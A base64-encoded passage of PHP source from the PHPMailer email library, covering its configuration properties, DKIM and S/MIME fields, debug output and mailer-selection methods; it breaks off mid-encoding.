nVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAncW1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGEgIlRvIiBhZGRyZXNzLgogICAgICogQHBhcmFtIHN0cmluZyAkYWRkcmVzcyBUaGUgZW1haWwgYWRkcmVzcyB0byBzZW5kIHRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gdHJ1ZSBvbiBzdWNjZXNzLCBmYWxzZSBpZiBhZGRyZXNzIGFscmVhZHkgdXNlZCBvciBpbnZhbGlkIGluIHNvbWUgd2F5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBBZGQgYSAiQ0MiIGFkZHJlc3MuCiAgICAgKiBAbm90ZTogVGhpcyBmdW5jdGlvbiB3b3JrcyB3aXRoIHRoZSBTTVRQIG1haWxlciBvbiB3aW4zMiwgbm90IHdpdGggdGhlICJtYWlsIiBtYWlsZXIuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRhZGRyZXNzIFRoZSBlbWFpbCBhZGRyZXNzIHRvIHNlbmQgdG8KICAgICAqIEBwYXJhbS